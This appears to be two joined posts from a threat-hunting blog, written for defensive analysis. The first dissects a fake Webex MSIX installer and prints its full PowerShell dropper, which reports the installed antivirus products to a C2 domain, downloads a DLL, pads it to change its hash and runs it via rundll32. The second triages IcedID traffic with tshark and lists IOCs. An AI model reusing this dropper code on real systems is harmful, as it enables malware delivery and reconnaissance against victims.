compiled Wed Dec 14 14:01:14 2022
dbg_file C:\ReleaseAI\tools\msix-psf\x64\Release\PsfRuntime64.pdb
subsys   Windows GUI

Taking both the compilation timestamp, as well as the PDB¹² string it looks like this is generated and inserted into the archive by the Advanced Installer application.

Moving on up to the config.json file, whose contents are rather self explanatory.

{
    "processes": [
        {
            "executable": ".*",
            "fixups": []
        }
    ],
    "applications": [
        {
            "id": "Webex",
            "startScript": {
                "scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
                "scriptPath": "NEW_User0_v2.ps1"
            }
        }
    ]
}

From the documentation, this configuration file may also contain in-line PowerShell code, so although our sample points to a script, others may use other techniques.

Finally the PowerShell script NEW_User0_v2.ps1

In the interest of making it safe, I have de-fanged the URLs. I’m not quite ready to have my domain appear as the top referrer to various command and control domains.

sleep -Milliseconds 1221
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$AntiVirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct
$displayNames = $AntiVirusProduct | ForEach-Object {
    $_.displayName
}
$displayNamesString = $displayNames -join ", "
$url11 = "hxxps[:]//9sta9rt4[.]store/?status=start&av=$displayNamesString"
Invoke-RestMethod -Uri $url11 -Method GET
$randomNumber = Get-Random -Minimum 1010000 -Maximum 91198889999
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$webClient = New-Object System.Net.WebClient
$bytes = $webClient.DownloadData("hxxps[:]//associazionedignita[.]it/wp-content/uploads/2023/06/r.dll")
$currentFileSize = $bytes.Count
$sizeToAdd = Get-Random -Minimum 750000000 -Maximum 900000000
$newFileSize = $currentFileSize + $sizeToAdd
$bytesToAdd = New-Object byte[] $sizeToAdd
$newBytes = New-Object byte[] $newFileSize
[System.Array]::Copy($bytes, $newBytes, $bytes.Length)
[System.Array]::Copy($bytesToAdd, 0, $newBytes, $bytes.Length, $bytesToAdd.Length)
[System.IO.File]::WriteAllBytes("$env:APPDATA\z$randomname.dll", $newBytes)
rundll32 $env:APPDATA\z$randomname.dll, vcab /k chokopai723
Invoke-WebRequest -Uri ("hxxps[:]//9sta9rt4[.]store/?status=install") -UseBasicParsing

Clear-History

Breaking the script into manageable bytes, it begins with a sleep of 1221 milliseconds.

Next it sets some TLS parameters to force TLS version 1.2, before querying the list of antivirus products installed on the host. Once it has the list, it issues a HTTP GET request sending the list as a URL parameter.

The domain used to receive the information was previously identified in part 1

sleep -Milliseconds 1221
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$AntiVirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct
$displayNames = $AntiVirusProduct | ForEach-Object {
    $_.displayName
}
$displayNamesString = $displayNames -join ", "
$url11 = "hxxps[:]//9sta9rt4[.]store/?status=start&av=$displayNamesString"
Invoke-RestMethod -Uri $url11 -Method GET

Following that, the script generates a random number between two values. It then issues a web request to download a file called r.dll.

From the wp-content path in the URI, this appears to be a compromised WordPress instance, and so the domain may have a clean reputation in threat intelligence databases.

Searching for the domain associazionedignita[.]it on Censys¹³, it resolves to the IP address 77[.]111[.]240[.]213. Censys, was also able to provide the reverse DNS for the IP: webcluster1.wordpresspod1-cph3.one.com which supports the compromised WordPress theory.

Before writing the file to disk, it calculates the file size and stores it in a buffer. It then calculates the sum of the file size, plus the randomly generated number.

This is used to append NULL bytes to the end of the DLL file as a means to randomize the hash value of the downloaded file. By doing this on the fly, the actor doesn’t need to host clever build systems which generate payloads upon request.

Once the file bytes are collated in the same buffer, they are written to a path in $env:APPDATA.

Upon first glance it may also appear the name of the file will also be randomly generated. A review of the script will tell you otherwise, as the variable $randomname is never initialized, and so the file is always called z.dll

$randomNumber = Get-Random -Minimum 1010000 -Maximum 91198889999
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$webClient = New-Object System.Net.WebClient
$bytes = $webClient.DownloadData("hxxps[:]//associazionedignita[.]it/wp-content/uploads/2023/06/r.dll")
$currentFileSize = $bytes.Count
$sizeToAdd = Get-Random -Minimum 750000000 -Maximum 900000000
$newFileSize = $currentFileSize + $sizeToAdd
$bytesToAdd = New-Object byte[] $sizeToAdd
$newBytes = New-Object byte[] $newFileSize
[System.Array]::Copy($bytes, $newBytes, $bytes.Length)
[System.Array]::Copy($bytesToAdd, 0, $newBytes, $bytes.Length, $bytesToAdd.Length)
[System.IO.File]::WriteAllBytes("$env:APPDATA\z$randomname.dll", $newBytes)

Once the DLL file is written to disk, the vcab routine is executed using rundll32.exe, along with some additional command line parameters. Once the execution from rundll32.exe completes a web request is issued, presumably indicating an installation (Webex?) has completed.

rundll32 $env:APPDATA\z$randomname.dll, vcab /k chokopai723
Invoke-WebRequest -Uri ("hxxps[:]//9sta9rt4[.]store/?status=install") -UseBasicParsing

Clear-History

Curiosity got the better of me, and I wanted to see what the installation looked like. As the command and control servers are hopefully down and this was executed in an isolated machine, the web requests failed.

As you can see, it looks like a legitimate installation of Webex.

Conclusion

This concludes part 2 of the series, if you have not done already you can catch up on part 1 here

We stepped through the initial stages of the infection routine and explored some interesting forensic artefacts along the way.

Hopefully some of the hunting ideas generated can translate to your environment, if they’ve helped I’d love to know what you found!

In the next part of the series I will be walking through the next stage of the process, investigating the downloaded DLL file.

Until next time, keep evolving…

@techevo_

References

However, EDR and related acronyms only work if they are installed.

Sometimes it is not possible to install host based sensors on all devices. This may be because they are IOT devices or appliances such as printers, VOIP phones or network perimeter devices.

Sometimes sensors just don’t get installed on all of the internet facing hosts making it difficult to analyse an intrusion…breath

In any case, gathering PCAP might be the only way to investigate an intrusion, or at least provide some initial leads.

In the real world, you might find your big branded firewall, router, or VPN concentrator devices can generate PCAP. Alternatively you may have dedicate network capture devices. It is worth understanding what capabilities you have available to you. It may even be something to consider when you next upgrade the systems.

In this first blog post, I will display possible ways to quickly triage PCAP data, extracting key pieces of information and enriching that information with additional context.

I have taken a sample PCAP from Malware Traffic Analysis¹ a fantastic resource maintained by @malware_traffic. You can download the same PCAP files from here.

This PCAP contains traffic relating to the icedid family of malware a modular banking malware² and its operators.

In order to demonstrate the various techniques and how they can be applied to emerging threats, I will be treating this as a black box exercise with no ability to simply search for atomic indicators.

All of the generated output and scripts from this blog will be available for you to follow along should you wish over on Github.

Initial Triage

Before we start attempting to dig too deep into the analysis of any data its always good to confirm what data we have to analyse.

For PCAP files we can use the capinfos command to find out all the things.

$ capinfos 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

File name:           2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
File type:           Wireshark/tcpdump/... - pcap
File encapsulation:  Ethernet
File timestamp precision:  microseconds (6)
Packet size limit:   file hdr: 65535 bytes
Number of packets:   20 k
File size:           11 MB
Data size:           10 MB
Capture duration:    12938.179454 seconds
First packet time:   2023-08-09 15:29:46.945490
Last packet time:    2023-08-09 19:05:25.124944
Data byte rate:      840 bytes/s
Data bit rate:       6,726 bits/s
Average packet size: 519.48 bytes
Average packet rate: 1 packets/s
SHA256:              4d06c317e8e28f4e74be330bdcd87cdb37ae7971648ca0c8248f3e7ead8792a7
RIPEMD160:           533b03acbfabdecc5e1133d13012d0be8abcf60d
SHA1:                2612d8dc088091ec3a3e8729a7ed0d6749d1e060
Strict time order:   True
Number of interfaces in file: 1
Interface #0 info:
                     Encapsulation = Ethernet (1 - ether)
                     Capture length = 65535
                     Time precision = microseconds (6)
                     Time ticks per second = 1000000
                     Number of stat entries = 0
                     Number of packets = 20940

Packet Statistics

Let’s start digging into the packets!

We can get a quick summary of the protocols in use using the tshark statistics features.

In the command below, -z io,phs instructs tshark to display Protocol Hierarchy Statistics. You can find more possible statistics related options within the manual page³.

$ tshark -2 -n -z io,phs -q -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

For the sake of clarity, the following output has been reduced to highlight protocols of interest.

Protocol Hierarchy Statistics
Filter: 

eth                                      frames:20940 bytes:10877998
  ip                                     frames:20298 bytes:10851034
    udp                                  frames:381 bytes:63780
      dns                                frames:268 bytes:32790
    tcp                                  frames:19917 bytes:10787254
      http                               frames:6 bytes:4245
        ocsp                             frames:1 bytes:1152
        text                             frames:1 bytes:1411
          tcp.segments                   frames:1 bytes:1411
        media                            frames:1 bytes:856
          tcp.segments                   frames:1 bytes:856
      tls                                frames:3696 bytes:2617915
        tcp.segments                     frames:622 bytes:613663
          tls                            frames:150 bytes:169696
      data                               frames:39 bytes:13723
      ldap                               frames:136 bytes:54988
        tcp.segments                     frames:28 bytes:25560
          ldap                           frames:8 bytes:11872

A Little More Conversation

Now we know how endpoints are talking over the network, next we can find out who is involved in all the conversations.

We can use a couple of additional statistic commands to find our “top talkers”.

Viewing the top talkers, allows us to see which endpoints are generating the largest amount of packets / bytes.

The statistics option -z endpoints,ip allows us to view the endpoints generating the most traffic.

$ tshark -2 -n -z endpoints,ip -q -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

Below shows the top 10 endpoints from the PCAP, you can find the full output here.

IPv4 Endpoints
Filter:<No Filter>
                       |  Packets  | |  Bytes  | | Tx Packets | | Tx Bytes | | Rx Packets | | Rx Bytes |
10.8.9.95                  20298      10851034       8149         4035536       12149         6815498   
137.184.172.23             10122       3520549       5285          339187        4837         3181362   
193.109.120.27              1944       2196654       1660         2177622         284           19032   
10.8.9.9                    1896        481151        868          209318        1028          271833   
23.63.72.218                1630       1642953       1283         1608655         347           34298   
128.199.151.179              833        148238        440           99700         393           48538   
172.67.140.91                568        583762        436          576325         132            7437   
13.107.246.51                335        370820        282          364830          53            5990   
52.137.106.217               322        340276        268          333433          54            6843   
20.3.187.198                 239        165206        122           12305         117          152901
...

On the sample output above, there are a two IP addresses that stand out as noteworthy, based on the total bytes transferred.

137[.]184[.]172[.]23
193[.]109[.]120[.]27

This is not a definitive list of IOC’s but something we can start to pivot on around any other data you might have available in your environment.

At this stage during an investigation we could start researching each IP address, and in some cases this will yield some interesting results. As this PCAP is from a few months ago (at the time writing) these IP addresses likely show up in Threat intelligence reports.

Lets run another query to summarize conversations between hosts to see if there are any additional insights.

tshark -2 -n -z conv,ip_srcdst,tree -q -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

Below are the top 10 conversations based on the number of frames (frames encapsulate packets).

IPv4 Conversations
Filter:<No Filter>
                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.8.9.95            <-> 137.184.172.23          5285    339187    4837   3181362   10122   3520549    84.797226000     12848.9131
10.8.9.95            <-> 193.109.120.27          1660   2177622     284     19032    1944   2196654    80.201394000        73.4828
10.8.9.9             <-> 10.8.9.95               1028    271833     868    209318    1896    481151     0.000000000     12819.0497
10.8.9.95            <-> 23.63.72.218            1283   1608655     347     34298    1630   1642953  7883.866052000        53.2998
10.8.9.95            <-> 128.199.151.179          440     99700     393     48538     833    148238    82.942279000     12802.5170
10.8.9.95            <-> 172.67.140.91            436    576325     132      7437     568    583762    14.904654000       109.9738
10.8.9.95            <-> 13.107.246.51            282    364830      53      5990     335    370820  7880.200878000        56.9641
10.8.9.95            <-> 52.137.106.217           268    333433      54      6843     322    340276  6391.996704000        53.8537
10.8.9.95            <-> 20.3.187.198             122     12305     117    152901     239    165206  6688.981277000         1.3757
10.8.9.95            <-> 13.71.55.58              165    191607      35     10425     200    202032    85.311619000         6.6261
...

This view of the data shows us the duration of the connection, highlighting another IP address that might be worth investigating further.

128[.]199[.]151[.]179

IP Enrichment

Now we have collected some initial findings, we can enrich them to start building up a more detailed view.

At this stage we don’t know that anything we have identified is malicious. We are simply performing analysis on the data we have, in order to identify anything anomalous.

During an investigation on a larger scale with 10’s of millions of events streaming in constantly, its important to re-apply and re-asses what you know. It is also vital to understand what you don’t know and start forming some investigative threads.

Once the tasks have been broken down, collaboration means analysis can occur in parallel leading to faster more decisive remediation.

There are many web portals and API’s available to provide more information about indicators of interest. Whilst these are good to individual lookups, this approach doesn’t scale terribly well.

For demonstration purposes I developed a simple script to query the free API from ipinfo.io. You can find the script here.

Using the following command (replace 0000000000 with your access token), we can feed the script a list of IP addresses via the file ips.txt.

$ python3 ./enrich_ip.py --token 0000000000 -f ips.txt

The script outputs the following details.

Whilst the above output might not provide hard hitting indicators that these are malicious, knowing how we can pivot on different data points such as the ASN organizations allows us to threat hunt for connections to IP addresses hosted by the same providers.

Attackers may either re-use infrastructure, or have a go to hosting provider they will re-use time and time again.

Having this intelligence picture build up over time allows us to identify trends in actor behaviour.

Remember, as we progress investigations you can visit this enrichment phase again.

Protocol Analysis

We identified some IP addresses, and we have some capability to gather some more insight into them.

Lets look closer into how they are being used in more detail.

DNS

The Domain Name System protocol is good stepping stone to traverse to higher level protocols. We have some IP address, now we can being to expand our view to see what domains are being resolved.

Of course, DNS is not only used for resolving domains to IP addresses.

There are many different query types⁴, the most important to understand being A, AAAA, CNAME. MX, NS and TXT.

To generate a summary of DNS activity within the PCAP we can use the DNS statistics in tshark with the following command.

$ tshark -2 -n -z dns,tree -q -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

This outputs a fairly large amount of information, but the key sections to look out for are the Query/Response and Query Type sections, shown below.

Topic / Item                   Count         Average       Min val       Max val       Rate (ms)     Percent       Burst rate    Burst start  
----------------------------------------------------------------------------------------------------------------------------------------------
 Query/Response                268                                                     0.0000        100.00%       0.0600        7878.254     
  Response                     134                                                     0.0000        50.00%        0.0300        7878.255     
  Query                        134                                                     0.0000        50.00%        0.0300        7878.254     
 Query Type                    268                                                     0.0000        100.00%       0.0600        7878.254     
  A (Host Address)             262                                                     0.0000        97.76%        0.0600        7878.254     
  SRV (Server Selection)       6                                                       0.0000        2.24%         0.0200        3541.155     
...

As shown above there are 134 DNS queries made with matching responses, and 97.76% of the DNS activity were related to A records.

We can extract the domains being queried by using tshark’s ability to parse network protocols, DNS included. Using the command below, we can filter for DNS type A query packets, and print out the query name field.

$ tshark -2 -n -T fields -e dns.qry.name -Y "dns.qry.type == 0x01 and dns.flags.response == 0" -q \
  -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap > domains.txt

Note: you can find a copy of domains.txt here

In order to reduce the number of domains we will analyse further, I have created a domain_filter.txt file which can be found here.

It contains domains we would expect to see on completely clean hosts and may interfere with our analysis moving forward.

Legitimate domains can be used for malicious purposes⁵, in some cases you may need to revisit domains previously excluded.

Using the new filter file, lets generate a count for the number of times each domain was requested.

$ grep -v -f domain_filter.txt domains.txt | sort | uniq -c | sort -nr

Which outputs the following…

 42 pokerstorstool.com
  1 smakizelkopp.com
  1 sb.scorecardresearch.com
  1 podiumstrtss.com
  1 metrics-a.wbx2.com
  1 edgeassetservice.azureedge.net
  1 deff.nelreports.net
  1 client-upgrade-a.wbx2.com
  1 binaries.webex.com
  1 associazionedignita.it
  1 9sta9rt4.store

Instantly one domain in particular looks to be an outlier: pokerstorstool[.]com due to its large amount of requests.

Domains with rare and uncommon Top Level Domain (TLD) also may be an indicator to look deeper into. It’s not that these domains such as 9sta9rt4[.]store are always malicious, however anything anomalous is worthy of noting down.

For more information regarding trends in TLD’s being used for CyberCrime, you can view this dashboard by Netcraft

We have already added some IP addresses to our list of potential indicators of compromise, we can also use the DNS traffic to see what the domains we have extracted resolve to (at least at the time of this PCAP).

The below command will output the domain that was queried (dns.qry.name) followed by the answer(s) that was received (dns.a). The command is then stored in domains_resolved.txt, which can be found here.

$ tshark -2 -n -q -Y 'dns.flags.rcode==0 && dns.flags.response==1' -T fields -e 'dns.qry.name' -e 'dns.a' \
  -r IcedID-with-BackConnect-and-Keyhole-VNC.pcap > domains_resolved.txt

We can view the output, applying the same domain_filter.txt as used before as follows.

$ grep -v -f domain_filter.txt domains_resolved.txt | column -t | sort | uniq

9sta9rt4.store                  81.177.140.194
associazionedignita.it          77.111.240.213
binaries.webex.com              18.64.183.33,18.64.183.41,18.64.183.69,18.64.183.29
client-upgrade-a.wbx2.com       170.72.231.0,170.72.231.161,170.72.231.10
deff.nelreports.net             23.220.206.9,23.220.206.47
edgeassetservice.azureedge.net  13.107.246.51,13.107.213.51
metrics-a.wbx2.com              170.72.231.161,170.72.231.10,170.72.231.0
podiumstrtss.com                172.67.140.91,104.21.54.162
pokerstorstool.com              128.199.151.179
sb.scorecardresearch.com        108.156.91.120,108.156.91.127,108.156.91.40,108.156.91.129
smakizelkopp.com                193.109.120.27

Note: It is quite common for domains to resolve to multiple IP addresses, applications will attempt them in order if one does not respond as expected.

It looks like there are some overlap between the domains and previously identified IP addresses.

We also now have the IP address that was linked to sta9rt4[.]store, which we can enrich further with the ip_enricher.py script from earlier.

$ python3 ./enrich_ip.py --token 0000000000 -i 81.177.140.194

Whilst the uncommon TLD was a moderately weak signal, we can take this a step further and pivot on the AS⁶ Organization.

Taking the numerical value from the Autonomous System, to lookup the details at urlhaus.abuse.ch/asn/8342

Screenshot from https://urlhaus.abuse.ch/asn/8342 taken 2023-09-25

It looks like this hosting Organization has hosted 2054 malicious domains previously and has had a fairly slow response time to taking them down. That certainly has strengthened the domain sta9rt4[.]store indicator’s signal as likely being malicious.

Before continuing on with the analysis, lets summarize the entities we’ve extracted so far:

• 81[.]177[.]140[.]194
• 193[.]109[.]120[.]27
• 128[.]199[.]151[.]179
• 137[.]184[.]172[.]23
• smakizelkopp[.]com
• pokerstorstool[.]com
• sta9rt4[.]store

Domain Enrichment

Now we have some more data, its time to enrich to find out more. For domains, we can query whois databases to find out more.

As we might end up with more, I wrote another script to help out. You can find a copy of enrich_domain.py here It has similar syntax to enrich_ip.py and can be used with a singular domain or be provided a list of domains via a file.

Note: Domains must be in an unsafe, fanged state for the script.

$ python3 ./enrich_domain.py -f domains.txt

smakizelkopp.com
	Creation: 2023-08-02 19:47:21
	Expiration: 2024-08-02 19:47:21
	Name: Slevin Toler
	Email: abuse@namesilo.com, skafertommy@outlook.com
	Address: 9951 Clear Run, West Jefferson, NC, 27510, US

pokerstorstool.com
	Creation: 2023-04-19 16:57:42
	Expiration: 2024-04-19 16:57:42
	Name: Wainwright Nordstrom
	Email: abuse@namecheap.com, wowasi5367@raotus.com
	Address: 7007 Silver Bear Carrefour, Westbriar, 3, 86777-1051, AF

Whilst there is nothing intrinsically linking the two domains, we have gathered some interesting information we can store and pivot on later.

The third domain, sta9rt4[.]store does not have any publicly accessible whois information available.

HTTP

During the protocol hierarchy analysis a small amount of HTTP traffic was detected. These days where most traffic is covered underneath TLS (SSL) encryption, seeing plain HTTP traffic is becoming somewhat rare.

Given it is such a small amount of the overall traffic lets take a deeper look into it.

We can continue to explore tshark³ statistics features using the -z http,tree option.

$ tshark -2 -n -z http,tree -q -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap

This generates the following table with plenty of detail.

=======================================================================================================================================
HTTP/Packet Counter:
Topic / Item            Count         Average       Min val       Max val       Rate (ms)     Percent       Burst rate    Burst start  
---------------------------------------------------------------------------------------------------------------------------------------
Total HTTP Packets      16                                                      0.0000        100%          0.0200        0.137        
 HTTP Request Packets   13                                                      0.0000        81.25%        0.0100        0.137        
  SEARCH                10                                                      0.0000        76.92%        0.0100        6457.028     
  GET                   3                                                       0.0000        23.08%        0.0100        0.137        
 HTTP Response Packets  3                                                       0.0000        18.75%        0.0100        0.204        
  2xx: Success          3                                                       0.0000        100.00%       0.0100        0.204        
   200 OK               3                                                       0.0000        100.00%       0.0100        0.204        
  ???: broken           0                                                       0.0000        0.00%         -             -            
  5xx: Server Error     0                                                       0.0000        0.00%         -             -            
  4xx: Client Error     0                                                       0.0000        0.00%         -             -            
  3xx: Redirection      0                                                       0.0000        0.00%         -             -            
  1xx: Informational    0                                                       0.0000        0.00%         -             -            
 Other HTTP Packets     0                                                       0.0000        0.00%         -             -            

---------------------------------------------------------------------------------------------------------------------------------------

Starting with the HTTP Request Packets we have both GET and SEARCH, generally with malware we are interesting in GET and POST requests. From those three GET requests we also have three responses with the code 200 OK, indicting resources were available and returned.

Parsing out some of the key fields using the following command we should start to be able to determine the purpose of the requests.

Note: The output below will be in CSV format, if you would like a header generated change ‘-E header=n’ to ‘-E header=y’

$ tshark -2 -n -Y 'http.request.method == GET' -T fields -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri \
  -e http.request.version -e http.user_agent -e http.host -E header=n -E separator=, -q \
  -r ../2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap > http.csv

Keen analysts amongst you may have noticed the inclusion of the http.host field. This field is used by web servers to direct the request towards the correct virtual server or backend.

This feature can be abused using a technique called Domain Fronting, however it is also going to allow us to reduce the dataset by allowing us to filter out uninteresting domains.

We can use the domain_filter.txt list from the previous section as shown.

grep -v -f domain_filter.txt http.csv

This leaves us with one HTTP request which I have formatted into the following table.

Lets dissect the fields in order.

The ip.dst field provides us another IP address we can enrich further and ip.dstport shows the web server is running on the standard HTTP port.

Using the ip_enricher.py script, ipinfo.io informs us that this IP address belongs to Cloudflare, one of the largest CDN providers on the internet. Traffic destined to this IP address, with then HTTP Host header set, will have its traffic redirected to another server elsewhere.

The http.request.method, http.request.uri and http.request.version do not show anything of significant interest.

The blank http.user_agent is interesting, and I can’t think of an example before this where I have not seen the header specified.

The http.host may be of interest, and one we could cycle back around to look at in the DNS traffic.

We can also enrich the domain using the enrich_domain.py script.

$ python3 ./enrich_domain.py -d podiumstrtss.com

podiumstrtss.com
	Creation: 2023-04-19 16:08:52
	Expiration: 2024-04-19 16:08:52
	Name: Dyfan Terwilliger
	Email: abuse@namecheap.com, ubzeso@mailto.plus
	Address: 7226 Burning Landing, Euphemia, 36, 44200-6463, AF

A few things stand out that could indicate some relation between two of the domains.

Both podiumstrtss[.]com and pokerstorstool[.]com were registered within an hour of each other, with the same registrar.

The Address similarities are interesting and would need a larger sample set to prove anything, but humans are humans, and humans follow patterns.

The http.cookie value does not obviously look out of place, HTTP cookies are standard practice however they can contain some important information if you are able to parse them.

The structure of cookies is complex, thankfully we can find out more about each parameter using cookiedatabase.org.

Taking __gads and _gat as examples, they both relate to Google statistics and analytics.

The value assigned to _gat might look familiar if you look closely enough: _gat=10.0.19045.64;.

If you have looked at Windows version strings enough as part of either system administration or threat analysis you might notice that the value 10.0.19045 is the Windows version string for Windows 10 Version 22H2⁷, and we can probably hazard a guess that the 64 refers to a 64 bit installation.

Looking up the rest of the cookie parameters they all seem to be legitimately used somewhere for something. All of them, but one that is.

The _u parameter does not exist in the database, it could be new and undocumented, or it might be worth investigating more.

Hint: We’re going to look at it more.

_u=4445534B544F502D34565A46525350:75736572313031:39414231333532444136393736323546;

From looking at the values used its safe to assume that the data is hexadecimal encoded, with a : colon delimiter.

There are many tools we can use to convert hex values into ASCII. As I’ll likely want to automate some analysis further, we can experiment with some Python one liners, using the binascii module.

Taking the above values

$ python3 -c 'import binascii; print(binascii.unhexlify("4445534B544F502D34565A46525350").decode())'
DESKTOP-4VZFRSP

$ python3 -c 'import binascii; print(binascii.unhexlify("75736572313031").decode())'
user101

python3 -c 'import binascii; print(binascii.unhexlify("39414231333532444136393736323546").decode())'
9AB1352DA697625F

Voilà, it appears we have a hostname: DESKTOP-4VZFRSP, a username: user101 and a mystery value: 9AB1352DA697625F

It’s not clear what the mystery value relates to without understanding the environment the sample was executing in.

As it appeared with the hostname of the machine and a username, perhaps its an instance ID or some kind of unique identifier used by some malware…

Earlier we generated a summary of source / destination conversations and stored it in src_dst_conversations.txt.

We can review the conversations regarding our new IP address using the sed command as shown.

$ sed -n '4,5p;  /172.67.140.91/{p}' src_dst_conversations.txt

                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.8.9.95            <-> 172.67.140.91            436    576325     132      7437     568    583762    14.904654000       109.9738

Note: prints lines 4 through to 5, the searches for lines that contain 172.67.140.91 and prints the line

This shows almost 58KB of data downloaded from the endpoint.

As this is HTTP we should be able to also export the downloaded data as a reassembled “object”.

$ tshark -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap -q -2 -R 'ip.src==172.67.140.91' --export-objects http,http_output

Note: This command sets a Read filter for the host IP address, and exports the HTTP data into a directory called http_output

This extracts one file, which should be named %2f in the http_output directory, with the SHA1 hash of 36ab6e37ad59706cc03d2a17ed92d255a71b7618.

A quick examination of the file shows it is a GZIP compressed file with an original name of Light.txt.

$ file %2f 

%2f: gzip compressed data, was "Light.txt", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3601146

Ordinarily we would usually then use either zcat, gzip -d or gunzip to then decompress the file. This sample however appears to be corrupt and does not extract as expected.

TLS

Our final protocol to dissect is Transport Layer Security, TLS.

TLS provides a protocol to allow two endpoints to securely communicate using a variety of encryption algorithms. Many protocols can be wrapped within a TLS tunnel, the most common is probably HTTP, which is commonly referred to as HTTPS.

Clients

Like many other protocols there is a handshake initiated by the client with what’s called a Client Hello handshake. Within this initial packet, the client will provide several pieces of information including but not limited to:

• Server Name Identifier (SNI)
• Cipher Suites

The Server Name Identifier works in a similar way to the Host header in HTTP, it provides the domain name the client is expecting to communicate to.

The Cipher Suites section provides an ordered list of cryptographic protocols that the client supports. This list is then enumerated and if the server finds one it can also use, this will be selected. More on this later.

We can view the TLS Client Hello details using the following tshark command.

$ tshark -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap -q -2 -R 'tls.handshake.type==1' \
  -T fields -e ip.dst -e 'tls.handshake.extensions_server_name' -e 'tls.handshake.ciphersuite'  \
  > tls_client_hello.txt

To view the cipher suites of domains we might be interested in, we can use grep to filter out known good domains.

$ grep -f domain_filter.txt tls_client_hello.txt 

As I eluded to, this list of cipher suites is ordered. The order is generated typically by the library functions in use by an application. It is of course possible for clients to specify a preferred list of cipher suites itself, overriding the default values.

Whilst dealing with lists of numerical hexadecimal values works on a small scale, there is in fact a standard approach to fingerprinting cipher suites. This technique is known as the JA3 Hash and was developed by Salesforce. This technique summarizes various fields into an MD5 hash digest.

This algorithm has been ported over to common network monitoring suites and thankfully a Python script⁸.

We can generate a JA3 hash for each TLS Client Hello packet as shown.

$ python3 ja3.py ../2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap > tls_client_hello_ja3.json

Just to make the output a little easier to work with use the following commands to create a new file tls_client_hello_ja3.txt

$ cat tls_client_hello_ja3.json 
  | jq '.[] | [.destination_ip, .ja3_digest]' \
  | jq -c '.' \
  | sed -e 's/\[\"//g' -e 's/\",\"/,/' -e 's/\"]//' > tls_client_hello_ja3.txt

If we filter for IP addresses of interest we have gathered along the way, found in ips.txt we can see what JA3 hash was used by the client.

$ grep -F -f ips.txt tls_client_hello_ja3.txt | sort | uniq -c

 43 128.199.151.179,a0e9f5d64349fb13191bc781f81f42e1
  4 193.109.120.27,a0e9f5d64349fb13191bc781f81f42e1
  1 81.177.140.194,3b5074b1b5d032e5620f69f9f700ff0e

Both IP address were connected to with the same JA3 hash a0e9f5d64349fb13191bc781f81f42e1.

We can pivot from the JA3 hash value back to also see what IP addresses were also contacted.

$ grep -F -e 'a0e9f5d64349fb13191bc781f81f42e1' tls_client_hello_ja3.txt | cut -f 1 -d ',' | sort | uniq -c | sort -nr

 43 128.199.151.179
  4 193.109.120.27
  1 18.64.183.33
  1 170.72.231.161
  1 170.72.231.0

$ grep -F -e '3b5074b1b5d032e5620f69f9f700ff0e' tls_client_hello_ja3.txt | cut -f 1 -d ',' | sort | uniq -c | sort -nr

Interestingly this JA3 hash was also used to connect to 77[.]111[.]240[.]213 (associazionedignita[.]it), so might also be another lead to follow.

  1 81.177.140.194
  1 77.111.240.213

Going back and forth and seeing how entities link together provides you with some relevant data you might be able to apply to a much larger data set. This is a very basic form of threat hunting, congratulations you’re a threat hunter now.

One last exercise to the reader, there is also JA3S which combines the client hash worth details from the Server Hello packet which again can be processed as shown with the clients. Pivoting around on that data point may also reveal more potential C2 servers.

Servers

Just like the TLS Client Hello the server side responds in kind with a TLS Server Hello. The Server Hello contains many fields, in essence it allows the two peers in the connection to establish trust and decide on cryptographic parameters to secure the conversation.

As part of this exchange the Server will return its own TLS certificate which we can examine further with the following command.

This command will filter for the TLS Server Hello packet in the handshake, print the server IP along with the UTF8Strings from the Selected Attribute List which in this case is the certificate issuer. The final field displayed is taken from the X509af (Authentication Framework) and displays utcTime entities, which in this case is the date the certificate was issued and when it will expire.

We are also using grep to filter for IP addresses we are interesting in, contained within the ips.txt file.

$ tshark -r 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap  -q -2 -R "tls.handshake.type == 2" \
  -T fields -e 'ip.src' -e 'x509sat.uTF8String' -e 'x509af.utcTime' | \
  sort | uniq | grep -f ips.txt

The output from the above command can be quite large, so to help I have manually formatted the information into this table.

We discovered earlier, during the domain enrichment phase that one of the domains (smakizelkopp[.]com) which resolved to 193[.]109[.]120[.]27 was registered at 2023-08-02 19:47:21 a few days prior to the TLS certificate being created.

This helps us timeline potential infrastructure setup for a malicious actor and allow us to pivot for further activity in the time period.

We can tell this is a self signed certificate based on the Internet Widgits Pty Ltd string, this us a well known default identifier used in Certificate Signing Requests generated by OpenSSL.

This pretty much ends our triage analysis for now, we have generated potential IOC’s we can search for in whatever data sets you have available, and also began to map the infrastructure being used for this campaign.

Although we started with quite an already filtered PCAP, hopefully parts of the methodology outlined can be adapted over time across larger data sets.

Conclusion

If you have made it all the way down to the end, I really appreciate it.

This blog post turned out a lot longer than I had originally planned, but I hope you learnt something or got an idea for some ways this process can be automated.

If you enjoyed it let me know, I plan to cover more varied topics in the future, not just PCAP so stay tuned.

Until next time, keep evolving…

@techevo_